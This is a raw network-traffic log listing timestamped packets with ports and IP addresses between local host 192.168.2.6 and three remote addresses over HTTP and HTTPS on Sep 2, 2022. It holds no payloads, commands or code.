Sep 2, 2022 14:02:37.984445095 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.984472990 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.984488964 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.984807014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.984848976 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.984877110 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.984910011 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.985013962 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.985054970 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.985066891 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.985085964 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.985100031 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.985338926 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.985380888 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.985398054 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:37.985410929 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:37.985421896 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.058682919 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.058711052 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.058753014 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.058768034 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.058815002 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.058830023 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.058849096 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.058859110 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.058876991 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.058891058 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.058907032 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.058917999 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.058939934 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.058948994 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.058969975 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.058990955 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.059000969 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.059019089 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.059026003 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.059062958 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.059112072 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.059128046 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.059242964 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.059257984 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.059293032 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.059303045 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.059448957 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.059473038 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.084666967 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.084688902 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.084757090 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.084774971 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.084887981 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.084949970 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.085345984 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.085406065 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.085495949 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.085578918 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.086107969 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.086150885 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.086257935 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.086282969 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.086308956 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.086318016 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.086337090 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.086442947 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.086473942 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.086505890 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.086513996 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.086546898 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.086559057 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.086585999 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.086653948 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.086664915 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.086692095 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.086704016 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.086714029 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.086719036 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.086757898 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.086766005 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.086797953 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.086831093 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.086864948 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.086905003 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.086913109 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.086932898 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.086956024 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.087028980 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.090204000 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.090243101 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.090271950 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.090297937 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.090431929 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.090447903 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.090511084 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.090528011 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.090552092 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.090780020 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.090810061 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.090866089 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.090878963 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.090893984 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.090903997 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.091018915 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.091080904 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.099641085 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.099972010 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.108910084 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.108948946 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.108984947 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.108994007 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.109237909 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.109260082 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.109277964 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.109329939 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.109338045 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.109395027 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.109405041 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.109462976 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.109472990 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.109502077 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.109519958 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.109528065 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.109669924 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.109730005 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.110508919 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.110548973 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.110589981 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.110598087 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.110841990 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.114625931 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.114654064 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.114686012 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.114710093 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.114862919 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.114881039 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.114911079 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.114950895 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.114973068 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.115025043 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.115034103 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.115076065 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.115108967 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.115139961 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.115171909 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.115233898 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.130913019 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.130991936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.131022930 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.131083012 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.131185055 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.131228924 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.131257057 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.131263018 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.131288052 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.131772995 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.131818056 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.131844997 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.131885052 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.131901979 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.131953955 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.131983995 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.132023096 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.132204056 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.132256031 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.132318020 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.132318020 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.132359028 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.132399082 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.132426977 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.132463932 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.133816004 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.133860111 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.133888960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.133941889 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.133997917 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.134038925 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.134056091 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.134068012 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.134149075 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.134500980 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.134561062 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.134573936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.134604931 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.134632111 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.137716055 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.137736082 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.137765884 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.137911081 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.138185978 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.138225079 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.138251066 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.138288021 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.138402939 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.138438940 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.138458967 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.138464928 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.138489008 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.139588118 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.139678001 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.139713049 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.139738083 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.139740944 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.139781952 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.139832973 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.139870882 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.139894962 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.139897108 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.139924049 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.140322924 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.140362978 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.140389919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.140433073 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.140476942 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.140512943 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.140528917 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.140537977 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.140568018 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.140990019 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.141028881 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.141053915 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.141093016 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.141143084 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.141158104 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.141204119 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.141218901 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.141311884 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.141333103 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.141346931 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.141396999 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.141413927 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.141416073 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.141428947 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.141459942 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.141486883 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.141489029 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.141499996 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.141509056 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.141563892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.141586065 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.141670942 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.141696930 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:38.141766071 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:38.142111063 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.142170906 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.142241955 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.142281055 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.142306089 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.142334938 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.142342091 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.142376900 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.142400026 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.142426014 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.143152952 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.143321037 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.143379927 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.143382072 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.143409014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.143434048 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.144619942 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.144664049 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.144690037 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.144758940 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.144853115 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.144892931 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.144916058 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.144946098 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.144989014 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.145297050 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.145334959 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.145359039 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.145390987 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.145659924 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.145699024 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.145723104 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.145759106 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.145759106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.145817041 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.145822048 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.145849943 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.145881891 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.145961046 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.145997047 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.146014929 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.146019936 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.146049976 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.146996021 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.147037983 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.147062063 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.147083044 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.147099972 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.147125959 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.147138119 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.147150993 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.147165060 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.147188902 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.147497892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.147578001 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.147598982 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.147625923 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.147629023 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.147684097 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.147690058 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.147718906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.147772074 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.148171902 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.148201942 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.148222923 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.148226976 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.148248911 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.148334026 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.148360968 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.148380041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.148411989 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.148746014 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.148785114 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.148804903 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.148822069 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.148844957 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.148971081 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.148999929 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.149019957 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.149049997 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.150465965 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.150485992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:38.150528908 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.150548935 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.162636042 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.164155960 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.164190054 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.164222956 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.164362907 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.164875984 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:38.166640997 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:38.166666031 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:38.166712999 CEST	443	49803	95.142.206.1	192.168.2.6
